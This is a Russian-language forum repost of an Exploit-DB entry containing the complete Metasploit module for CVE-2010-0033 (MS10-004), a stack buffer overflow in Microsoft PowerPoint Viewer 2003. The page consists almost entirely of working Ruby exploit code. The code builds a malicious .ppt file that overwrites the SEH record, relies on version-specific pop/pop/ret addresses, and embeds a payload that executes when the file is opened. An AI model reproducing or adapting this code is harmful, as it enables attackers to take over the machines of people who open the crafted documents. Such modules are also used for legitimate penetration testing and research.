- 34,644
- 0
- 18 Дек 2022
- EDB-ID
- 16665
- Проверка EDB
-
- Пройдено
- Автор
- METASPLOIT
- Тип уязвимости
- LOCAL
- Платформа
- WINDOWS
- CVE
- cve-2010-0033
- Дата публикации
- 2010-09-25
Код:
##
# $Id: ms10_004_textbytesatom.rb 10477 2010-09-25 11:59:02Z mc $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
require 'rex/ole'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Remote::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft PowerPoint Viewer TextBytesAtom Stack Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow vulnerability in the handling of
the TextBytesAtom records by Microsoft PowerPoint Viewer. According to Microsoft,
the PowerPoint Viewer distributed with Office 2003 SP3 and earlier, as well as
Office 2004 for Mac, are vulnerable.
NOTE: The vulnerable code path is not reachable on versions of Windows prior to
Windows Vista.
},
'License' => MSF_LICENSE,
'Author' =>
[
'SkD', # original discovery
'Snake', # PoC
'jduck' # metasploit version
],
'Version' => '$Revision: 10477 $',
'References' =>
[
[ 'CVE', '2010-0033' ],
[ 'OSVDB', '62241' ],
[ 'MSB', 'MS10-004' ],
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-017/' ],
[ 'URL', 'http://www.snoop-security.com/blog/index.php/2010/03/exploiting-ms10-004-ppt-viewer/' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'DisablePayloadHandler' => 'true',
},
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00",
'DisableNops' => true # no need
},
'Platform' => 'win',
'Targets' =>
[
# Tested with various patch levels of PowerPoint Viewer 2003 (v6.0.2600.0)
[ 'Microsoft PowerPoint Viewer 2003',
{
'SEHOffset' => 132,
'PopPopRet' => 0x30056471 # pop/pop/ret from PPTVIEW.exe v11.0.5703.0
}
],
[ 'Microsoft PowerPoint Viewer 2003 (kb949041 or kb956500) or Office 2003 SP3',
{
'SEHOffset' => 132,
'PopPopRet' => 0x3003c767 # pop/pop/ret from PPTVIEW.exe v11.0.8164.0
}
],
=begin
#
# This is commented out because of ASLR. gdiplus is no good.
#
[ 'Microsoft PowerPoint Viewer 2003 (kb956500 or kb969615)',
{
'SEHOffset' => 132,
#'PopPopRet' => 0x39827475 # pop/pop/ret from gdiplus.dll v11.0.8230.0
'PopPopRet' => 0x69647475
}
],
=end
[ 'Microsoft PowerPoint Viewer 2003 (kb969615)',
{
'SEHOffset' => 132,
'PopPopRet' => 0x300566d1 # pop/pop/ret from PPTVIEW.exe v11.0.8305.0
}
],
#
# All that is needed for new targets are the two vars! msfpescan will help.
#
# crash on a deref path to heaven.
[ 'Crash Target for Debugging',
{
'SEHOffset' => 132,
'PopPopRet' => 0xdac0ffee
}
]
],
'DisclosureDate' => 'Feb 09 2010'))
register_options(
[
OptString.new('FILENAME', [ true, 'The file name.', 'msf.ppt']),
], self.class)
end
def ppt_record(tag, data=nil, ver=0, inst=0)
data ||= ''
ret = ''
verinst = (ver & 0xf) | (inst << 4)
ret << [verinst, tag, data.length].pack('vvV')
ret << data
ret
end
def exploit
print_status("Creating PowerPoint Document ...")
username = Rex::Text.rand_text_alphanumeric(8+rand(8))
# smash the stack, hit SEH, use the pop-pop-ret to execute code on the stack
sploit = rand_text(target['SEHOffset'])
sploit << generate_seh_record(target['PopPopRet'])
# jump ahead into the next atom
distance = 10
sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $+" + distance.to_s).encode_string
# TextBytesAtom
text_bytes_atom = ppt_record(0xfa8, sploit)
text_bytes_atom[4,4] = [0xffffffff].pack('V') # ..f8 thru ..ff
#text_bytes_atom << ppt_record(0xfa8, "\xcc" + ("A" * 2046) + "\xcc")
text_bytes_atom << ppt_record(0xfa8, ("A" * 16) + payload.encoded)
# SlidePersistAtom
spa1_data = [2,0,0,0x80000000,0].pack('VVVVV')
spa1 = ppt_record(0x3f3, spa1_data)
# SlideListWithText (first)
slwt1 = ppt_record(0xff0, spa1, 15, 1)
# SlidePersistAtom
spa2_data = ''
spa2_data << [3,0,2,0x100,0].pack('VVVVV')
# SlideListWithText container (2nd)
slwt2_data = ''
slwt2_data << ppt_record(0x3f3, spa2_data)
# TextHeaderAtom
txt_hdr_data = [6].pack('V') # textType
slwt2_data << ppt_record(0xf9f, txt_hdr_data)
slwt2_data << text_bytes_atom
slwt2 = ppt_record(0xff0, slwt2_data, 15)
# Document container
doc_data = ''
doc_data << slwt1
doc_data << slwt2
doc = ppt_record(0x3e8, doc_data, 15)
# MainMaster container
mdc_data = ppt_record(0xf003, '', 15)
ppd_data = ppt_record(0xf002, mdc_data, 15)
# TextMasterStyleAtom
tmsa_data = [0].pack('v') # cLevels (none)
mm_data = ''
mm_data << ppt_record(0xfa3, tmsa_data)
mm_data << ppt_record(0x40c, ppd_data, 15)
mm = ppt_record(0x3f8, mm_data, 15)
# assembled stream contents
content = ''
document_offset = content.length
content << doc
main_master_offset = content.length
content << mm
# PersistPtrIncrementalBlock
start_num = 1
count = 2
ppib_data = [(start_num & 0xfffff) | (count << 20)].pack('V')
ppib_data << [document_offset].pack('V')
ppib_data << [main_master_offset].pack('V')
ppib = ppt_record(0x1772, ppib_data)
# Store offset and add it
persist_ptr_incremental_block_offset = content.length
content << ppib
# UserEditAtom
uea_data = ''
uea_data << [0x100].pack('V') # lastSlideIdRef
uea_data << [0x1599,0,3].pack('vCC') # version, minorVer, majorVer
uea_data << [0].pack('V') # offsetLastEdit
uea_data << [persist_ptr_incremental_block_offset].pack('V')
uea_data << [1].pack('V') # docPersistIdRef
uea_data << [3].pack('V') # persistIdSeed
uea_data << [1].pack('v') # lastView
uea_data << [0x31c5].pack('v') # unused??
uea = ppt_record(0xff5, uea_data)
# Store offset and add it
user_edit_atom_offset = content.length
content << uea
# Create the output file
out = File.expand_path(File.join(datastore['OUTPUTPATH'], datastore['FILENAME']))
stg = Rex::OLE::Storage.new(out, Rex::OLE::STGM_WRITE)
if (not stg)
raise RuntimeError, 'Unable to create output file'
end
# PowerPoint Document stream
stm = stg.create_stream("PowerPoint Document")
if (not stm)
raise RuntimeError, 'Unable to create "PowerPoint Document" stream'
end
stm << content
stm.close
# CurrentUserAtom stream
cua_data = ''
cua_data << [0x14].pack('V') # size
cua_data << [0xe391c05f].pack('V') # headerToken (not encrypted)
cua_data << [user_edit_atom_offset].pack('V')
cua_data << [username.length].pack('v')
cua_data << [0x3f4].pack('v') # docFileVersion
cua_data << [3,0].pack('CC') # majorVer, minorVer
cua_data << [0x3b].pack('v') # unused??
cua_data << username
cua_data << [8].pack('V') # relVersion (1 master slide)
cua_data << Rex::Text.to_unicode(username)
current_user_stream = ppt_record(0xff6, cua_data)
stm = stg.create_stream("Current User")
if (not stm)
raise RuntimeError, 'Unable to create "Current User" stream'
end
stm << current_user_stream
stm.close
stg.close
print_status("Generated output file #{out}")
end
end- Источник
- www.exploit-db.com
